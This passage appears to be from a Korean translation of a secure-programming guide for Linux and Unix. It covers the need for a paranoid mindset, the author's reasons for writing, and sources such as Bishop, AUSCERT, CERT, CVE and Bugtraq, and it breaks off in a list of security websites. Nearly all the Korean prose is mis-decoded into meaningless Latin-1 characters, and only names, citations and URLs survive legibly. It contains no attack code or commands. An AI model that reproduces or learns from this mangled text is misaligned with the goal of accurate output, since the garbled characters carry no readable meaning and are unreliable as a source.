ÀÌ·¯ÇÑ °æ°èµéÀ» °¡·ÎÁö¸¦ ¼öµµ ÀÖ°í (¿¹, CGI ½ºÅ©¸³Æ®°¡ setuid/setgid ÀÏ ¼öµµ ÀÖÀ¸¸ç ¶ÇÇÑ µ¿ÀÏÇÑ È¿°ú¸¦ °®´Â ¹æ½ÄÀ¸·Î ¼³Á¤µÉ ¼öµµ ÀÖ´Ù) ¾î¶² ÇÁ·Î±×·¥µéÀº ´Ù¸¥ ŸÀÔÀÇ ÇÁ·Î±×·¥À¸·Î °í·ÁµÉ ¼ö ÀÖ´Â ¸î¸î ½ÇÇà ÆÄÀÏ·Î ³ª´©¾îÁú ¼öµµ Àֱ⠶§¹®¿¡ ºÐ¸íÇÑ °ÍÀº ¾Æ´Ï´Ù. ÀÌ·¯ÇÑ ÇÁ·Î±×·¥ ŸÀÔ ¸ðµÎ¸¦ ÇѲ¨¹ø¿¡ °í·ÁÇϴµ¥ ÀÖ¾î ÀåÁ¡Àº ÇÁ·Î±×·¥¿¡ ºÎÀûÀýÇÑ ¹üÁÖ¸¦ Àû¿ëÇÏ·Á ÇÏÁö ¾Ê°í ¸ðµç ¹®Á¦¸¦ °í·ÁÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. ÃßÈÄ º¼ °ÍÀÌÁö¸¸ ¿ø¸®µéÀÇ ¸¹Àº ºÎºÐÀÌ ¾ÈÀüÇÏ°Ô µÉ Çʿ䰡 ÀÖ´Â ¸ðµç ÇÁ·Î±×·¥¿¡ Àû¿ëµÈ´Ù.

ÀÌ Ã¥Àº C++, ÆÞ, PHP, ÆÄÀ̽ã, Ada95 ¿Í ÀÚ¹Ù¿Í °°Àº ´Ù¸¥ ¾ð¾îµé¿¡ ´ëÇØ ¾à°£ ¾ð±ÞÇϸç ÁÖ·Î C ·Î ÀÛ¼ºµÈ ÇÁ·Î±×·¥¿¡ ´ëÇØ ´Ù·é´Ù. ÀÌ´Â C °¡ À¯´Ð½º °è¿­ ½Ã½ºÅÛ (CGI ½ºÅ©¸³Æ®À̿ܿ¡ ÆÞ, PHP, ÆÄÀ̽ãÀ» À» »ç¿ëÇÏ´Â °æÇâÀÌ ÀÖ´Ù) ¿¡¼­ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ±¸ÇöÇÏ´Â °¡Àå º¸ÆíÀûÀÎ ¾ð¾îÀÌ°í ´ëºÎºÐÀÇ ´Ù¸¥ ¾ð¾îµéÀÇ ±¸ÇöÀÌ C ¶óÀ̺귯¸®¸¦ È£ÃâÇϱ⠶§¹®ÀÌ´Ù. ±×·¯³ª C °¡ º¸¾È ¸ñÀû¿¡ ¸Â´Â °¡Àå ÃÖ¼±ÀÇ ¾ð¾î¶ó´Â °ÍÀ» ÀǹÌÇÏÁö´Â ¾ÊÀ¸¸ç ÀÌ Ã¥¿¡ ±â¼úµÈ ¿ø¸®µéÁß ´ëºÎºÐÀº »ç¿ëµÈ ÇÁ·Î±×·¡¹Ö ¾ð¾î¿¡ »ó°ü¾øÀÌ Àû¿ëµÈ´Ù.


2.6. ÆíÁýÁõÀº ¹Ì´öÀÌ´Ù

º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ÀÛ¼ºÇϴµ¥ ÀÖ¾î ±âº»ÀûÀÎ ¾î·Á¿òÀº ±×µéÀ» ÀÛ¼ºÇϱâ À§Çؼ­´Â ´Ù¸¥ ¸¶À½ ÀÚ¼¼ ¿ä¾àÇÏ¸é ÆíÁý±¤ÀûÀÎ ¸¶À½ ÀÚ¼¼¸¦ °¡Á®¾ß ÇÑ´Ù´Â °ÍÀÌ´Ù. ÀÌ´Â ¿¡·¯ (¶ÇÇÑ °áÇÔ ¶Ç´Â ¹ö±×¶ó°íµµ ºÎ¸¥´Ù) ÀÇ ¿µÇâÀÌ ¿ÏÀüÈ÷ ´Ù¸¦ ¼ö Àֱ⠶§¹®ÀÌ´Ù.

º¸Åë º¸¾ÈÀûÀÌÁö ¸øÇÑ ÇÁ·Î±×·¥µéÀº ¸¹Àº ¿¡·¯µéÀ» °®°í ÀÖ´Ù. ÀÌ·¯ÇÑ ¿¡·¯µéÀº ¹Ù¶÷Á÷ÇÏÁö ¾ÊÁö¸¸ º¸Åë µå¹® ¶Ç´Â ÀÖÀ» ¹ýÇÏÁö ¾ÊÀº »óȲÀ» Æ÷ÇÔÇϰí Àִµ¥ »ç¿ëÀÚ°¡ ¿ì¿¬È÷ À̸¦ ¹ß°ßÇÑ´Ù¸é ÃßÈÄ¿¡´Â ±×·¯ÇÑ ¹æ½ÄÀ¸·Î µµ±¸¸¦ »ç¿ëÇÏÁö ¾ÊÀ¸·Á°í ÇÒ °ÍÀÌ´Ù.

º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥¿¡¼­ »óȲÀº ¿ªÀüµÈ´Ù. ¾î¶² »ç¿ëÀÚµéÀº ÀڽŵéÀÌ ºÎ´çÇÑ ±ÇÇÑÀ» ¾òÀ» °ÍÀ̶ó´Â Èñ¸Á¾Æ·¡ ÀǵµÀûÀ¸·Î µå¹® ¶Ç´Â ÀÖÀ» ¹ý ÇÏÁö ¾ÊÀº »óȲÀ» ã°Å³ª ÀÏÀ¸Å³ °ÍÀÌ´Ù. µû¶ó¼­ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ÀÛ¼ºÇÒ ¶§ ÆíÁýÁõÀº ¹Ì´öÀÌ´Ù.


2.7. ÀÌ ¹®¼­¸¦ ÀÛ¼ºÇÑ ÀÌÀ¯´Â?

ÀúÀÚ°¡ ¹Þ¾Æ¿Â Áú¹®Àº "¿Ö ÀÌ Ã¥À» ½è´Â°¡? ÇÏ´Â °ÍÀε¥ ´ÙÀ½ÀÌ ÀúÀÚÀÇ ´äÀÌ´Ù: Áö³­ ¸î³â°£¿¡ °ÉÃÄ ÀúÀÚ´Â ¸®´ª½º¿Í À¯´Ð½º °³¹ßÀÚµéÀÌ µÇÇ®ÀÌÇØ¼­ °è¼ÓÀûÀ¸·Î µ¿ÀÏÇÑ º¸¾È À§Çè¿¡ ºüÁ®µå´Â °Í °°À½À» ¾Ë¾ÆÂ÷·È´Ù. °¨»çÀÚµéÀº ¹®Á¦Á¡µéÀ» ´À¸®°Ô ¹ß°ßÇϰí ÀÖ¾úÁö¸¸ ¹®Á¦Á¡µéÀÌ ¿ì¼± Äڵ峻¿¡ ³õÀÌÁö ¾Ê¾Ò´Ù¸é ´õ¿í ÁÁ¾ÒÀ» °ÍÀÌ´Ù. ÀúÀÚ´Â ¹®Á¦ÀÇ ÀϺΰ¡ °³¹ßÀÚµéÀÌ °¡¼­ ¾Ë·ÁÁø À§ÇèµéÀ» ÇÇÇÏ´Â ¹æ¹ý¿¡ ´ëÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö ÀÖ´Â °øÅëÀÇ ¸í¹éÇÑ °ø°£ÀÌ ¾ø¾ú´Ù¶ó°í ¹Ï°í ÀÖ´Ù. Á¤º¸¸¦ °ø°³ÀûÀ¸·Î ¾òÀ» ¼ö ÀÖ¾úÁö¸¸ ´ë°³ ½Ã´ë¿¡ µÚÃÄÁ® ÀÖ°í ºÒ¿ÏÀüÇÏ¸ç ´Ù¸¥ ¹®Á¦µéÀ» °®°í ÀÖÀ½À» ¹ß°ßÇÏ´Â °ÍÀº ¾î·Á¿ü´Ù. ´ëºÎºÐÀÇ ±×·¯ÇÑ Á¤º¸´Â ¸®´ª½º°¡ ³Î¸® »ç¿ëµÇ°Ô µÇ¾úÀ½¿¡µµ ºÒ±¸ÇÏ°í Æ¯º°È÷ ¸®´ª½º¸¸À» ³íÀÇÇÏÁö ¾Ê¾Ò´Ù. ÀÌ·¯ÇÑ °ÍÀÌ ÀúÀÚÀÇ ´ä¿¡ ´ëÇÑ ½Ç¸¶¸®°¡ µÇ¾ú´Ù: ÀúÀÚ´Â Àå·¡ÀÇ ¼ÒÇÁÆ®¿þ¾î °³¹ßÀÚµéÀÌ °ú°ÅÀÇ À߸øÀ» µÇÇ®ÀÌÇÏÁö ¾ÊÀ» °ÍÀÌ¸ç °á°úÀûÀ¸·Î´Â ´õ¿í º¸¾ÈÀûÀÎ ½Ã½ºÅÛÀ» °³¹ßÇÒ °ÍÀ̶ó´Â Èñ¸ÁÀ» °®°í ÀÌ Ã¥À» ÀÛ¼ºÇß´Ù. http://www.linuxsecurity.com/feature_stories/feature_story-6.html ¿¡¼­ ÀÌ¿¡ ´ëÇÑ ¸¹Àº ³íÀǸ¦ º¼ ¼ö ÀÖ´Ù.

´ë´äÇÒ ¼ö ÀÖ´Â °ü·Ã Áú¹®À¸·Î´Â ``´ÜÁö ´Ù¸¥ ¹®¼­¸¦ ÂüÁ¶ÇÏ´Â ´ë½Å ¿Ö ´ç½Å ½º½º·Î Ã¥À» ½è´Â°¡?" ÇÏ´Â °ÍÀε¥ ÀÌ¿¡ ´ëÇÑ ¸î°¡Áö ´äº¯Àº ´ÙÀ½°ú °°´Ù:

  • ÀÌ Á¤º¸ÀÇ ¸¹Àº ºÎºÐÀº »êÀçµÇ¾î ÀÖ¾ú´Âµ¥ Áß´ëÇÑ Á¤º¸¸¦ ÇϳªÀÇ Á¶Á÷È­µÈ ¹®¼­¿¡ ³õÀ½À¸·Î½á ÀÌÀÇ »ç¿ëÀº ´õ¿í ¿ëÀÌÇÏ´Ù.

  • ÀÌ Á¤º¸Áß ÀϺκÐÀº ÇÁ·Î±×·¡¸Ó¸¦ À§ÇØ ÀÛ¼ºµÈ °ÍÀÌ ¾Æ´Ï¶ó °ü¸®ÀÚ ¶Ç´Â »ç¿ëÀÚ¸¦ À§ÇØ ÀÛ¼ºµÈ °ÍÀÌ´Ù.

  • »ç¿ëÇÒ ¼ö ÀÖ´Â Á¤º¸ÀÇ ¸¹Àº ºÎºÐÀº À̽ļºÀÖ´Â ±¸Ãà (¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ ÀÛµ¿ÇÏ´Â ±¸Ãà) À» °­Á¶Çϰí ÀÖÀ¸¸ç °áÄÚ ¸®´ª½º¸¸À» ³íÀÇÇÏÁö´Â ¾Ê¾Ò´Ù. À̽ļºÀ» À§Çؼ­´Â ´ë°³ ¸®´ª½º °íÀ¯ÀÇ ´É·ÂÀ» ÇÇÇÏ´Â °ÍÀÌ ÃÖ¼±ÀÌÁö¸¸ ¶§¶§·Î ¸®´ª½º °íÀ¯ÀÇ ´É·ÂÀÌ ½ÇÁ¦·Î º¸¾È¿¡ µµ¿òÀÌ µÉ ¼ö ÀÖ´Ù. ¸®´ª½º¿¡ ÀÌ½ÄµÇ±æ ¹Ù¶óÁö ¾Ê´õ¶óµµ ¸®´ª½º¿¡¼­ ÀÛµ¿ÇÒ ¶§ ¸®´ª½º °íÀ¯ÀÇ ´É·ÂÀ» Áö¿øÇÏ±æ ¿øÇÒ ¼öµµ ÀÖ´Ù. ±×¸®°í ¸®´ª½º¸¦ °­Á¶ÇÔÀ¸·Î½á ÀúÀÚ´Â ´Ù¸¥ »ç¶÷µé¿¡°Ô ÇʼöÀûÀ¸·Î µé¾î¸ÂÁö´Â ¾ÊÁö¸¸ ¸®´ª½º¸¦ ¸ñÇ¥·Î ÇÏ´Â »ç¶÷µé¿¡°Ô´Â À¯¿ëÇÑ Á¤º¸¿¡ ´ëÇÑ ÂüÁ¶¸¦ Æ÷ÇÔ½Ãų ¼ö ÀÖ´Ù.


2.8. ¼³°è¿Í ±¸Çö ÁöħÀÇ Ãâó

¸î¸î ¹®¼­µéÀº º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ ÀÛ¼º ¹æ¹ý (¶Ç´Â ´ë¾ÈÀ¸·Î ±âÁ¸ ÇÁ·Î±×·¥¿¡¼­ º¸¾È ¹®Á¦µéÀ» ã´Â ¹æ¹ý) À» ±â¼úÇϴµ¥ µµ¿òÀÌ µÇ´Âµ¥ À̵éÀÌ ÀÌ Ã¥ÀÇ ³ª¸ÓÁöºÎºÐ¿¡¼­ °­Á¶µÈ Áöħµé¿¡ ±âÃʰ¡ µÇ¾ú´Ù.

¹ü¿ë ¼­¹ö¿Í setuid/setgid ÇÁ·Î±×·¥ÀÇ °æ¿ì´Â ¸¹Àº °¡Ä¡ÀÖ´Â ¹®¼­µéÀÌ ÀÖ´Ù. ¹°·Ð À̵鿡 ´ëÇÑ ÂüÁ¶¾øÀ̴ ã±â ¾î·Á¿î ¹®¼­µéÀÌ´Ù.

Matt Bishop [1996, 1997] Àº ÀÌ ÁÖÁ¦¿¡ ´ëÇØ ¸î¸îÀÇ Áö±ØÈ÷ °¡Ä¡ÀÖ´Â ³í¹®µé°ú ¹ßÇ¥µéÀ» ¹ßÇ¥ÇØ¿ÔÀ¸¸ç »ç½Ç ÀÌ ÁÖÁ¦¸¦ À§ÇÑ À¥ ÆäÀÌÁö http://olympus.cs.ucdavis.edu/~bishop/secprog.html ¸¦ °®°í ÀÖ´Ù. AUSCERT ´Â º¸¾ÈÀûÀÎ SUID ¹× ³×Æ®¿öÅ© ÇÁ·Î±×·¥ ÀÛ¼º ¹æ¹ýÀ» ³íÀÇÇÑ Garfinkel °ú Spafford ÀÇ Ã¥ [Garfinkel 1996] ÀÇ 23 ÀåÀÇ ºÎºÐÀûÀ¸·Î ±âÃÊÇÑ ÇÁ·Î±×·¡¹Ö üũ¸®½ºÆ® [AUSCERT 1996] ¸¦ °ø°³ÇÏ¿´´Ù. Galvin [1998a] Àº º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ °³¹ßÀ» À§ÇÑ °£´ÜÇÑ ÇÁ·Î¼¼½º¿Í üũ¸®½ºÆ®¸¦ ±â¼úÇߴµ¥ ³ªÁß¿¡ Galvin [1998b] ¿¡¼­ üũ¸®½ºÆ®¸¦ °»½ÅÇß´Ù. Sitaker [1999] ´Â ``¸®´ª½º º¸¾È °¨»çÆÀ"ÀÌ Ã£¾Æ¾ß ÇÒ ¹®Á¦Á¡µéÀÇ ¸ñ·ÏÀ» Á¦ÃâÇϰí ÀÖ´Ù. Shostack [1999] ´Â º¸¾È¿¡ ¹Î°¨ÇÑ ÄÚµå °ËÅ並 À§ÇÑ ´Ù¸¥ üũ¸®½ºÆ®¸¦ Á¤ÀÇÇϰí ÀÖ´Ù. NCSA [NCSA] ´Â ÀÏ·ÃÀÇ °£°áÇÏÁö¸¸ À¯¿ëÇÑ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¡¹Ö ÁöħµéÀ» Á¦°øÇϰí ÀÖ´Ù. ´Ù¸¥ À¯¿ëÇÑ Á¤º¸ÀÇ ÃâóµéÀº Secure Unix Programming FAQ [Al-Herbish 1999], Security-Audit's Frequently Asked Questions [Graham 1999]¿Í Ranum [1998] µéÀÌ ÀÖ´Ù. ¾à°£ÀÇ ±Ç°í¾ÈµéÀº ÁÖÀǸ¦ °®°í ¹Þ¾Æµé¿©¾ß Çϴµ¥ ¿¹¸¦ µé¾î BSD ÀÇ setuid(7) ¸ÇÆäÀÌÁö [Unknown] ´Â º¸Åë ¼ö¹ÝµÇ´Â °æÀï »óÅ (race conditions) ¸¦ ¾ð±ÞÇÏÁö ¾Ê°í¼­ access(3) ÀÇ »ç¿ëÀ» ÃßõÇϰí ÀÖ´Ù. Wood [1985] ´Â ``Security for Programmers" Àå¿¡¼­ ¾à°£ À¯¿ëÇÏÁö¸¸ ¿À·¡µÈ Ãæ°í¸¦ Çϰí ÀÖ´Ù. [Bellovin 1994] ´Â ftpd ±¸ÇöÀ» ¾î¶»°Ô ´õ¿í °£´ÜÇÏ°í º¸¾ÈÀûÀ¸·Î À籸ÃàÇÏ´Â °¡¿Í °°Àº À¯¿ëÇÑ Áöħµé°ú ¾à°£ÀÇ Æ¯Á¤ ¿¹¸¦ Æ÷ÇÔÇϰí ÀÖ´Ù. FreeBSD ´Â ¾à°£ÀÇ ÁöħµéÀ» Á¦°øÇϰí ÀÖ´Ù FreeBSD [1999]. [Quintero 1999] ´Â ±âº»ÀûÀ¸·Î GNOME ÇÁ·Î±×·¡¹Ö Áöħ¿¡ °ü½ÉÀÌ ÀÖÁö¸¸ º¸¾È °í·Á¿¡ ´ëÇÑ ÀýÀ» Æ÷ÇÔÇϰí ÀÖ´Ù. [Venema 1996] ´Â º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ÀÛ¼ºÇÒ ¶§ ¾à°£ÀÇ °øÅëÀûÀÎ ¿¡·¯µé¿¡ ´ëÇÑ ¼¼ºÎÀûÀÎ ³íÀǸ¦ ¿¹¿Í ÇÔ²² Á¦°øÇϰí ÀÖ´Ù (³Î¸® ¾Ë·ÁÁø ¶Ç´Â ¿¹Ãø°¡´ÉÇÑ ÆÐ½º¿öµå, ¾ÇÀÇÀÖ´Â µ¥ÀÌŸ¿¡ ¼Ó¾Æ³Ñ¾î°¡±â, »ç¿ëÀÚ°¡ Á¢±Ù°¡´ÉÇÑ µ¥ÀÌŸ¿¡¼­ÀÇ ºñ¹Ð°ú ´Ù¸¥ ÇÁ·Î±×·¥¿¡ ÀÇÁ¸Çϱâ). [Sibert 1996] ´Â ¾ÇÀÇÀÖ´Â µ¥ÀÌŸ·ÎºÎÅÍ »ý±â´Â À§ÇùµéÀ» ±â¼úÇϰí ÀÖ´Ù.

À¥À» ¹æÇØÇÏ´Â CGI (Common Gateway Interface) ¸¦ »ç¿ëÇÑ ÇÁ·Î±×·¥µé¿¡ ´ëÇÑ º¸¾È ÁöħµéÀ» Á¦°øÇÏ´Â ¸¹Àº ¹®¼­µéÀÌ ÀÖ´Ù. À̵éÀº Van Biesbrouck [1996], Gundavaram [unknown], [Garfinkel 1997], Kim [1996], Phillips [1995] Stein [1999], [Peteanu 2000] ¿Í [Advosys 2000] µéÀ» Æ÷ÇÔÇÑ´Ù.

¾ð¾î¿¡ °íÀ¯ÇÑ ¸¹Àº ¹®¼­µéµµ Àִµ¥ ÀÌ´Â ÀÌ Ã¥ÀÇ ¾ð¾î¿¡ ƯÁ¤ÀûÀÎ Àý¿¡¼­ ´õ¿í ³íÀǵȴÙ. ¿¹¸¦ µé¾î ÆÞ ¹èÆ÷ÆÇÀº perlsec(1) À» Æ÷ÇÔÇϴµ¥ ÀÌ´Â ÆÞÀ» ´õ¿í º¸¾ÈÀûÀ¸·Î »ç¿ëÇÏ´Â ¹æ¹ýÀ» ±â¼úÇϰí ÀÖ´Ù. Secure Internet Programming »çÀÌÆ®ÀÎ http://www.cs.princeton.edu/sip ´Â ÀϹÝÀûÀÎ º¸¾È ÄÄÇ»ÅÍ º¸¾È ¹®Á¦¿¡ °ü°èµÇ¾î ÀÖÁö¸¸ ÀÚ¹Ù, ¾×ƼºêX (ActiveX) ¿Í ÀÚ¹Ù½ºÅ©¸³Æ®¿Í °°Àº ¸ð¹ÙÀÏ ÄÚµå ½Ã½ºÅÛ¿¡µµ ÁßÁ¡À» µÎ°í ÀÖ´Ù; Ed Felten Àº 9.6절 ¿¡¼­ ³íÀǵǴ ÀÚ¹Ù¸¦ ¾ÈÀüÇÏ°Ô Çϱâ ([McGraw 1999]) ¿¡ ´ëÇÑ Ã¥À» °øµ¿ ÀÛ¼ºÇß´Ù. ½ã»çÀÇ º¸¾È ÄÚµå ÁöħµéÀº º»ÁúÀûÀ¸·Î ÀÚ¹Ù¿Í C ¿¡ ´ëÇÑ ¾à°£ÀÇ ÁöħµéÀ» Á¦°øÇϰí Àִµ¥ ÀÌ´Â http://java.sun.com/security/seccodeguide.html ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

Yoder [1998] Àº ¾ÖÇø®ÄÉÀÌ¼Ç º¸¾ÈÀ» ´Ù·ê ¶§ »ç¿ëµÇ´Â ÆÐÅϵéÀÇ ÁýÇÕÀ» Æ÷ÇÔÇϰí Àִµ¥ ÀÌ´Â ½ÇÁ¦ ÀÏ·ÃÀÇ Æ¯º°ÇÑ ÁöħÀ̶ó±â º¸´Ù´Â ÇÁ·Î±×·¡¹ÖÀ» À§ÇØ À¯¿ëÇÏ´Ù°í »ý°¢µÉ ¼ö ÀÖ´Â °øÅëÀûÀ¸·Î »ç¿ëµÇ´Â ÀÏ·ÃÀÇ ÆÐÅϵéÀÌ´Ù. Schmoo ±×·ìÀº http://www.shmoo.com/securecode ¿¡ º¸¾ÈÀûÀÎ ÄÚµå ÀÛ¼º ¹æ¹ý¿¡ ´ëÇÑ Á¤º¸¸¦ ¸µÅ©Çϰí ÀÖ´Â À¥ ÆäÀÌÁö¸¦ °ü¸®Çϰí ÀÖ´Ù.

´Ù¸¥ °üÁ¡ (¿¹ ½Ã½ºÅÛÀ» Å©·¢ÇÏ´Â ¹æ¹ý) ¿¡¼­ ¹®Á¦Á¡µéÀ» ±â¼úÇϰí ÀÖ´Â ¸¹Àº ¹®¼­µéÀÌ ÀÖ´Ù. ÇÑ ¿¹´Â McClure [1999] ·Î ÀÎÅͳݿ¡´Â ÀÌ ÀÔÀåÀ¸·Î ¹Ù¶ó º» ¼¿ ¼ö ¾øÀ» ¸¸Å­ ¸¹Àº ÀÚ·áµéÀÌ ÀÖ´Ù. ÄÄÇ»ÅÍ ¾ÆÅ°ÅØÃĸ¦ ¾Ç¿ëÇϱâ À§ÇØ ¾î¶² °ø°ÝÀ» ÇØ¾ßÇÏ´Â °¡¿¡ ´ëÇØ ÄÄÇ»ÅÍ ¾ÆÅ°ÅØÃ³¿¡ °üÇÑ ´õ¿í ÀϹÝÀûÀÎ ¹®¼­µµ ÀÖ´Ù (¿¹, [LSD 2001]). Honeynet ÇÁ·ÎÁ§Æ®´Â °ø°ÝÀÚ°¡ ½ÇÁ¦ ¾î¶² °ø°ÝÀ» ¼öÇàÇÏ´Â °¡¿¡ ´ëÇÑ Á¤º¸¸¦ ¼öÁýÇØ ¿Ô´Ù; ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â À¥ »çÀÌÆ® http://project.honeynet.org ¸¦ º¸¶ó.

¶ÇÇÑ ±âÁ¸ ÇÁ·Î±×·¥¿¡¼­ ÀÌ¹Ì È®ÀÎµÈ Ãë¾à¼º¿¡ ´ëÇÑ ¸¹Àº Á¤º¸µéµµ ÀÖ´Ù. ÀÌ´Â ¸¹Àº ƯÁ¤ ¿¹µé·ÎºÎÅÍ ´õ¿í ÀϹÝÀûÀÎ ÁöħµéÀ» ÃßÃâÇϴµ¥ ¸¹Àº ³ë·ÂÀÌ µé¾î°¨¿¡µµ ºÒ±¸Çϰí ``ÇÏÁö ¸»¾Æ¾ß ÇÒ °Í"¿¡ ´ëÇÑ ÀÏ·ÃÀÇ À¯¿ëÇÑ ¿¹µéÀÏ ¼ö ÀÖ´Ù. º¸¾È ÀïÁ¡µéÀ» ³íÀÇÇÏ´Â ¸ÞÀϸµ ¸®½ºÆ®µéµµ ÀÖ´Ù; °¡Àå ³Î¸® ¾Ë·ÁÁø °Í ÁßÀÇ Çϳª´Â Bugtraq À¸·Î ¹«¾ùº¸´Ùµµ Ãë¾à¼º ¸ñ·ÏÀ» ¹ßÀü½Ã۰í ÀÖ´Ù. CERT Coordination Center (CERT/CC) ´Â ÀÎÅÍ³Ý º¸¾È ¹®Á¦µé¿¡ ´ëÇØ Ãë¾à¼ºÀ» º¸°íÇÏ´Â ÁÖ¿ä º¸°í ¼¾ÅÍ·Î °¡²û ÆÐÄ¡ ¶Ç´Â Âø¼öÇÑ ÀÛ¾÷ÀÇ ¼¼ºÎ»çÇ×µéÀ» ¾ò´Â ¹æ¹ý¿¡ ´ëÇÑ Áö½Ã¿Í ÇÔ²² ½É°¢ÇÑ º¸¾È ¹®Á¦¿Í ÀÌÀÇ ¿µÇâÀ» ¼³¸íÇÏ´Â ±Ç°í¾ÈÀ» ³»³õ°í ÀÖ´Ù; ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â http://www.cert.org/ ¸¦ º¸¶ó. ¿ø·¡ CERT ´Â ¼Ò±Ô¸ð ÄÄÇ»ÅÍ ÀÀ±Þ ´ëÃ¥ÆÀÀ̾úÁö¸¸ °ø½ÄÀûÀ¸·Î CERT ´Â ÇöÀç À̸¦ ÀǹÌÇÏÁö ¾ÊÀ½À» ÁÖ¸ñÇØ¶ó. ³ëµ¿ºÎ (Department of Energy, ¿¡³ÊÁöºÎ) ÀÇ Computer Incident Advisory Capability (CIAC) µµ ¶ÇÇÑ Ãë¾à¼ºÀ» º¸°íÇϰí ÀÖ´Ù. ÀÌ·¯ÇÑ ¿©·¯ ±×·ìµéÀº µ¿ÀÏÇÑ Ãë¾à¼ºÀ» ½Äº°ÇÒ ¼öµµ ÀÖÁö¸¸ ´Ù¸¥ À̸§À» »ç¿ëÇÒ ¼öµµ ÀÖ´Ù. ÀÌ ¹®Á¦¸¦ ÇØ°áÇϱâ À§ÇØ MITRE ´Â ¸ðµç °ø°³ÀûÀ¸·Î ¾Ë·ÁÁø Ãë¾à¼º°ú ´Ù¸¥ »ç¶÷¿¡ ÀÇÇØ È®ÀÎµÈ º¸¾È Àû¹ß (exposure) ¿¡ ´ëÇØ À¯ÀÏÇÑ °íÀ¯ ½Äº°ÀÚ (``À̸§") ¸¦ ¸¸µå´Â CVE (Common Vulnerabilities and Exposures) ¸ñ·ÏÀ» ÁöÁöÇϰí ÀÖ´Ù; http://www.cve.mitre.org/ ¸¦ º¸¶ó. NIST ÀÇ ICAT ´Â °Ë»ö°¡´ÉÇÑ ÄÄÇ»ÅÍ Ãë¾à¼ºµéÀÇ ¸ñ·ÏÀ¸·Î °¢ CVE Ãë¾à¼ºÀ» °®°í À̵鿡 ´ëÇÑ ¸ñ·ÏÀ» ÀÛ¼ºÇÔÀ¸·Î½á ³ªÁß¿¡ °Ë»ö ¹× ºñ±³µÉ ¼ö ÀÖµµ·Ï ÇÑ´Ù; http://csrc.nist.gov/icat ¸¦ º¸¶ó.

ÀÌ Ã¥Àº ÀúÀÚ°¡ ¹Ï±â¿¡ °¡Àå À¯¿ëÇϰí Áß¿äÇÑ ÁöħµéÀÇ ¿ä¾ÇÀÌ´Ù; ÀúÀÚÀÇ ¸ñÀûÀº ÈǸ¢ÇÑ ÇÁ·Î±×·¡¸Ó°¡ ±×Àú ÀÌ Ã¥À» ÀÐÀº ÈÄ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ±¸ÇöÇϴµ¥ Àß Áغñ°¡ µÇ¾î ÀÖµµ·Ï Çϴµ¥ ÀÖ´Ù. ¾î¶°ÇÑ ÇϳªÀÇ ¹®¼­µµ ½ÇÁ¦ ÀÌ ¸ñÀûÀ» ÃæÁ·½Ãų ¼ö´Â ¾øÁö¸¸ ÀúÀÚ´Â ½ÃµµÇÒ ¸¸ÇÑ´Ù°í ¹Ï´Â´Ù. ÀúÀÚÀÇ ¸ñÀûÀº ``ÀÚÁÖ µÇÇ®À̵ǰí ÀÌÇØÇϱ⠾î·Á¿î ¸ðµç °¡´ÉÇÑ ÁöħµéÀÇ ¿Ïº®ÇÑ ¸ñ·Ï"°ú ``ÈǸ¢Çϰí ªÁö¸¸ ¸¹Àº Áß´ëÇÑ ¹®Á¦µéÀ» »ý·«ÇÑ ¿Â¶óÀλ󿡼­ ¾òÀ» ¼ö ÀÖ´Â ¸¹Àº ªÀº ¸ñ·Ï"»çÀÌÀÇ ±ÕÇü¿¡ µµ´ÞÇÏ´Â °ÍÀÌ´Ù. ºÒÈ®½ÇÇÒ ¶§´Â º»º¸±â¸¦ Æ÷ÇÔÇÑ´Ù; ÀúÀÚ´Â ±×·± °æ¿ì ÀÌ ``one stop shop" ¹®¼­³»¿¡¼­ ¸ðµç »ç¶÷¿¡°Ô µµ¿òÀÌ µÇ´Â Á¤º¸¸¦ ¸¸µå´Â °ÍÀÌ °¡Àå ÁÁ´Ù°í ¹Ï°í ÀÖ´Ù. ÀÌ Ã¥Àº ÀúÀÚ ½º½º·Î ±¸¼ºÇÑ °ÍÀ¸·Î (¸ðµç ¸®½ºÆ®´Â ÀڽŸ¸ÀÇ ´Ù¸¥ ±¸Á¶¸¦ °®´Â´Ù) ÁöħµéÀÇ ÀϺΠ(´É·Âµé°ú fsuid °ª¿¡ ´ëÇÑ °Íµé°ú °°Àº ƯÈ÷ ¸®´ª½º °íÀ¯ÀÇ °Íµé) µµ ½º½º·Î ¸¸µç °ÍÀÌ´Ù. À§¿¡ ¿­°ÅµÈ ¸ðµç ÂüÁ¶µÈ ¹®¼­µéÀ» Àд °Í ¶ÇÇÑ °­·ÂÈ÷ ÃßõÇÑ´Ù.


2.9. º¸¾È Á¤º¸ÀÇ ´Ù¸¥ Ãâóµé

º¸¾È ÀïÁ¡µé¸¸À» À§ÇÑ ¸Å¿ì ¸¹Àº À¥ »çÀÌÆ®µé°ú ¸ÞÀϸµ ¸®½ºÆ®µéÀÌ Àִµ¥ ´ÙÀ½Àº º¸¾È Á¤º¸ÀÇ ¾à°£ÀÇ ´Ù¸¥ ÃâóµéÀÌ´Ù:

  • Securityfocus.com ´Â ¸¹Àº ÀϹÝÀûÀÎ º¸¾È°ü·Ã ´º½º¿Í Á¤º¸¸¦ °®°í ÀÖÀ¸¸ç ¸¹Àº º¸¾È °ü·Ã ¸ÞÀϸµ ¸®½ºÆ®¸¦ È£½ºÆÃÇϰí ÀÖ´Ù. ±¸µ¶ ¹× ±×µéÀÇ ±â·Ïµé (archives) À» º¸´Â ¹æ¹ý¿¡ ´ëÇÑ Á¤º¸´Â À¥ »çÀÌÆ®¸¦ º¸¶ó. SecurityFocus ¿¡ ÀÖ´Â ´ëºÎºÐÀÇ °ü·Ã ¸ÞÀϸµ ¸®½ºÆ®µéÁß ÀϺδ ´ÙÀ½°ú °°´Ù:

